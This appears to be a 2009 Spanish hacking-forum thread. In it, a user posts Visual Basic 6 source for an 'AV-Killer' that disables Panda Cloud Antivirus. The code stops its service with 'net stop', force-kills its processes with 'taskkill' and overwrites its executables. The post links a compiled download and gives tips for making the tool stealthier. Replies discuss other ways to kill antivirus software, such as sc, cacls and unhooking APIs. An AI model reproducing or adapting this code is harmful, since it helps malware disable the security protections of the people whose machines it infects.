Bueno, primero quiero aclarar que este programa/source no entra dentro del "concurso de desarrollo de malware de Abril Negro 2009". Pero sí entra dentro del boletín para Abril Negro 2009, como prueba de concepto...
Anti Cloud Antivirus by MadAntrax :P
He diseñado una simple función que aprovecha los comandos típicos de Windows (taskkill, net, etc...) y los he aplicado en forma de bucles FOR y Sleep's para generar un AV-Killer genérico. En éste caso lo he diseñado para el nuevo Cloud Antivirus de Panda
(http://img22.imageshack.us/img22/8075/anticloudav.jpg)
Que es Cloud Antivirus?
Es el nuevo antivirus gratuito desarrollado por Panda, usando un método de programación que evita sobrecargar la CPU del usuario (Cloud Computing). He analizado el AV y he decidido crear un AV Killer para "matar" el nuevo producto de Panda.
:http://www.cloudantivirus.com/default.aspx?lang=spa
:http://es.wikipedia.org/wiki/Computaci%C3%B3n_en_nube
El source del programa es el siguiente:
modAntiCloudAV.bas
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Function StopService(ByVal sName As String) As Boolean
On Error Resume Next
Dim i As Integer
For i = 1 To 3
Shell "net stop " & sName, vbHide
Sleep 250
Next i
Sleep 1000
DoEvents
StopService = True
End Function
Function DestroyFile(ByVal sFileName As String, ByVal sFilePath As String) As Boolean
On Error Resume Next
Dim i As Integer
For i = 1 To 3
Shell "taskkill /F /IM " & sFileName, vbHide
Sleep 250
Next i
Sleep 1000
DoEvents
For i = 1 To 3
Open sFilePath For Output As #1
Print #1, "destroyed!"
Close #1
Sleep 10
Next i
DoEvents
DestroyFile = True
End Function
Éste código es genérico para la mayoría de Antivirus que basan su "protección" en servicios. Éste ejemplo no es válido para los Antivirus que basan su "protección" en drivers o hooks (Kaspersky, etc...). Para usar el módulo y matar CloudAV se utiliza así:
Private Sub CommandXP1_Click()
On Error Resume Next
Dim WShell As Object
Dim CloudPath As String
CommandXP1.Enabled = False
Set WShell = CreateObject("WScript.Shell")
CloudPath = WShell.regread("HKEY_LOCAL_MACHINE\SOFTWARE\Panda Security\Nano Av\Setup\Path")
Set WShell = Nothing
If CloudPath = "" Then
MsgBox "No se ha encontrado Cloud Antivirus instalado en el sistema", vbExclamation, "Anti-CloudAV"
Else
StopService "NanoServiceMain"
DoEvents
DestroyFile "PSUNMain.exe", CloudPath & "PSUNMain.exe"
DoEvents
DestroyFile "PSANHost.exe", CloudPath & "PSANHost.exe"
DoEvents
DestroyFile "PSANToManager.exe", CloudPath & "PSANToManager.exe"
DoEvents
'CloudAV destroyed
MsgBox "Proceso finalizado correctamente, comprueba si tu CloudAV sigue funcionando", vbInformation, "Anti-CloudAV"
End If
CommandXP1.Enabled = True
End Sub
El source es mejorable, se puede modificar para que no haga tantos bucles ni tantos sleep's y mejorar la rápidez. Pero como es una prueba de concepto... prefiero dejarlo así para evitar posibles copy&paste de noob's. Los que quieran usar ésta técnica tendrán la oportunidad de programarse correctamente un modulo más eficiente (evitar usar el objecto WScript, no usar Shell, cifrar las String's, control de errores, etc...)
;)
LINK DE DESCARGA: antiCloudAV (http://cactus-software.elhacker.net/anti-CloudAV.zip) (Fichero Compilado + Source en VB6)
Saludos.
Pues añadido ;)
http://foro.elhacker.net/analisis_y_diseno_de_malware/abril_negro_2009-t250385.0.html;msg1208337#msg1208337
Hay que ver lo calentito que está el subforo últimamente xD
Buen trabajo ;)
Es "acojonante" (como dice un amigo) ver como puedes detener facilmente un antivirus desde "sc" o desde "net", detener el servicio, eliminarlo del arranque y ya.
No se si habrá algún antivirus que deniege la detención del servicio aunque es dificil ya que si eres admin y no puedes detener un servicio propio de tu pc entonces pierdes el control y tendrias que pasar a system cosa que ahora desde xp es muy fácil de hacer.
De esta misma forma hasta puedes detener sistemas de proteccion que no necesariamente sea un antivirus, como por ejemplo un sistema de seguridad de internet, firewall, sniffer, etc.
Con "cacls" puedes asecinar de igual forma a los antispywares que no están corriendo siempre.
La verdad que si es increíble que en ocasiones sea tan sencillo detener un AV, buen trabajo Mad :D, y creo que no has elegido mejor AV para la prueba de concepto, ya que esta recien salido del horno y es una apuesta a los "nuevos" AV :-X
Saludos
Cita de: WHK en 6 Mayo 2009, 04:12 AM
Es "acojonante" (como dice un amigo) ver como puedes detener facilmente un antivirus desde "sc" o desde "net", detener el servicio, eliminarlo del arranque y ya.
No se si habrá algún antivirus que deniege la detención del servicio aunque es dificil ya que si eres admin y no puedes detener un servicio propio de tu pc entonces pierdes el control y tendrias que pasar a system cosa que ahora desde xp es muy fácil de hacer.
El nod32 v4 no se deja matar asi y el karpesky tampoco. habra mas pero yo solo se esos. La forma de matarlos es quitando los hook en las apis de terminar procesos
Saludos
Cita de: Arcangel_0x7C5 en 6 Mayo 2009, 04:49 AM
El nod32 v4 no se deja matar asi y el karpesky tampoco. habra mas pero yo solo se esos. La forma de matarlos es quitando los hook en las apis de terminar procesos
Exacto, me cito a mi mismo:
Cita de: ||MadAntrax|| en 5 Mayo 2009, 23:27 PM
Éste código es genérico para la mayoría de Antivirus que basan su "protección" en servicios. Éste ejemplo no es válido para los Antivirus que basan su "protección" en drivers o hooks (Kaspersky, etc...).
Por eso, y aprovechando la ocasión, recomiendo utilizar sistemas de protección basados en drivers (a nive de Ring0 mejor) y Hook's. Como por ejemplo Kaspersky, NOD32, AVG y Avira... los demás son una m1erda de AV.
Saludos.
Buen PoC Mad ;D
No conocía ese AV :P
Yo ahora mismo estoy trabajando en un método genérico de matar cualquier AV... si saber nombre de procesos ni ruta de instalación ni información especifica de un AV... por ahora solo lo he probado con NOD32 (v3) y Avira (Antivir 2009) (Los únicos que tengo instalados en las VM :xD)
Cualquier novedad os hago un tema :xD :xD
Saludos ;)
PD: Siempre me falta tiempo >:(
eso me gustaria verlo sin procesos, sin consultar en el registro o cero informacion del av. no creo , bueno habra que esperar. mmm mi av killer termina todos y absolutamente todos los avs.
Cita de: XcryptOR en 6 Mayo 2009, 19:27 PM
eso me gustaria verlo sin procesos, sin consultar en el registro o cero informacion del av. no creo , bueno habra que esperar. mmm mi av killer termina todos y absolutamente todos los avs.
Todavía estoy desarrollando el concepto... teóricamente es posible... luego vienen los problemas claro... :xD
Tu AV Killer utiliza los nombres de procesos y las Keys del registro que almacenan el Path?
Cita de: Karcrack en 6 Mayo 2009, 20:10 PM
Cita de: XcryptOR en 6 Mayo 2009, 19:27 PM
eso me gustaria verlo sin procesos, sin consultar en el registro o cero informacion del av. no creo , bueno habra que esperar. mmm mi av killer termina todos y absolutamente todos los avs.
Todavía estoy desarrollando el concepto... teóricamente es posible... luego vienen los problemas claro... :xD
Tu AV Killer utiliza los nombres de procesos y las Keys del registro que almacenan el Path?
cual seria esa teoria?
Saludos
Cita de: Arcangel_0x7C5 en 7 Mayo 2009, 20:27 PM
cual seria esa teoria?
Saludos
He tenido problemas para aplicarla de forma genérica ya que mi W$ es una versión desatendida y tengo problemas con el Security Center.... pero la teoría seria esta (Solo he conseguido aplicarla con los AVs que ya dije): Cancelar el apagado de W$ cuando se ha descargado el sistema... La verdad... no se si conseguiré desarrollar algo completo... ya que como he dicho mi W$ da problemas... y entonces ya no sera tan genérico :xD
Tal vez sea impracticable, pero se me ocurrió... :P
Saludos ;)
pero eso necesitarías volver a cargar el sistema ya que con el sistema descargado no podrías hacer mucho, y necesitarías de un driver para cancelarlo. Porque que yo sepa no hay apis para eso.
Saludos
igual al descargarse el sistema se descargan servicios basicos para poder manejar al sistema operativo, la mejor opcion es un driver, saludos